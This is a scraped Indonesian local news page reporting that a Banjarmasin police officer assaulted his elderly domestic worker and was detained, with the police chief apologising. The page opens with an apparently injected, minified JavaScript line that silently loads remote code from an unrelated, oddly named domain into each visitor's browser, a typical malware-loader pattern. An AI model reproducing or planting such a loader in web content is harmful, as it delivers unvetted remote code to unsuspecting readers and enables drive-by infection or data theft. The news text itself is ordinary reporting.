(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Oknum Polisi Berpangkat Bripka yang Aniaya dan Ludahi ART Akhirnya Ditahan!


KANALKALIMANTAN.COM, BANJARMASIN – Oknum polisi berpangkat Bripka yang bertugas di Polresta Banjarmasin melakukan penganiayaan terhadap asisten rumah tangganya berinisial MW (62).

Aksi penganiayaan itu dilakukan di rumah pelaku jalan A Yani kilometer 14, Kecamatan Gambut, Kabupaten Banjar, Kalimantan Selatan pada Senin (1/5/2023) lalu.

Akibatnya, korban MW yang sudah lanjut usia mengalami luka-luka di bagian dahi akibat digilas pelaku ke lantai.

Bahkan berdasarkan pengakuan keluarga korban saat melaporkan ke Polsek Gambut, MW juga sempat diludahi oleh pelaku sebelum menggilas muka korban ke lantai.

Baca juga: DPRD Kapuas Terima Kunjungan Silaturahmi Kapolres Kapuas

Mendapatkan informasi adanya anggota yang melakukan penganiayaan, Kapolresta Banjarmasin Kombes Pol Sabana langsung merespon dengan berjanji akan menindak tegas Bripka JD.

“Kami sudah turunkan Propam Polresta Banjarmasin untuk melakukan dan memproses pelanggaran yang dilakukan Bripka JD,” kata Sabana, Rabu (3/5/2023) siang.

Lebih lanjut dikatakannya, saat ini pelaku sudah ditetapkan sebagai tersangka dan telah ditahan di Mapolresta Banjarmasin.

Lanjut Sabana, pelaku juga telah dibebas tugaskan dari jabatannya sebagai anggota di Polresta Banjarmasin dan segera akan dilakukan sidang kode etik kepolisian setelah proses hukum pidana berjalan.

“Yang bersangkutan sudah kita non jobkan dan masuk tahanan Polresta Banjarmasin dan sidang kode etik akan berjalan sesuai dengan perbuatan yang dilakukan Bripka JD,” tegasnya.

Atas kejadian tersebut, Kapolresta Banjarmasin menyampaikan permohonan maaf kepada korban maupun masyarakat atas kelakuan anggotanya yang mencoreng nama baik Polri dan merugikan korban.

Baca juga: Kebakaran di Kampung Gadang Banjarmasin: 146 Jiwa Kehilangan Tempat Tinggal

Dirinya pun menjamin, proses hukum terhadap pelaku JD akan tetap berjalan sebagaimana mestinya.

“Atas nama pribadi dan instansi saya memohon maaf. Permintaan maaf ini tidak ada maksud untuk menghentikan kasus, dan saya tegaskan kasusnya tetap jalan,” pungkas Kombes Pol Sabana.

Pada Rabu (3/5/2023) siang tadi, diketahui Kapolresta Banjarmasin bersama anggota telah mendatangi rumah korban MW untuk menjenguk dan melakukan permintaan maaf secara langsung.

Selain itu, Kombes Pol Sabana juga memberikan tali asih dan menjamin perlindungan hukum serta akan terus memantau terkait kesehatan korban MW. (kanalkalimantan.com/rizki)

Reporter: rizki
Editor: cell


Al Ghifari

Recent Posts

Kritik Standar Etika Pejabat: Jalur Pintas hingga DPR Jadi ‘Dewan Perwakilan Partai’

KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More

4 jam ago

98 Usulan Infrastruktur dari Musrenbang Halong

KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More

4 jam ago

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

18 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

22 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

22 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

22 jam ago

This website uses cookies.